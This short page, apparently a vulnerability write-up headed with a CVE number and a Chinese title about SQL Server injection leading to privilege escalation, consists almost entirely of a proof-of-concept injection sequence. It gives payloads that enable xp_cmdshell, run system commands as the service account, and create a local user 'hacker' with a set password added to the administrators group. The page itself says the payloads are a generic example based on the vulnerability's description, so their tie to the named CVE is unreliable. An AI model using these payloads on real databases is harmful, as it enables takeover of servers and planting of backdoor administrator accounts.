CVE-2026-32176: SQL Server SQL注入导致本地提权漏洞

-- SQL Injection Proof of Concept for Privilege Escalation -- Assume there is a vulnerable parameter in a stored procedure or dynamic SQL -- Step 1: Attempt to inject a payload to enable advanced commands (e.g., xp_cmdshell) -- Vulnerable Input: '; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- -- Step 2: Enable xp_cmdshell if disabled -- Vulnerable Input: '; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- -- Step 3: Execute system command as the SQL Server service account (often SYSTEM) -- Vulnerable Input: '; EXEC master..xp_cmdshell 'whoami'; -- -- Step 4: Add a new user to the administrators group -- Vulnerable Input: '; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'; -- -- Vulnerable Input: '; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'; -- -- Note: This is a generic example based on the SQL Injection description.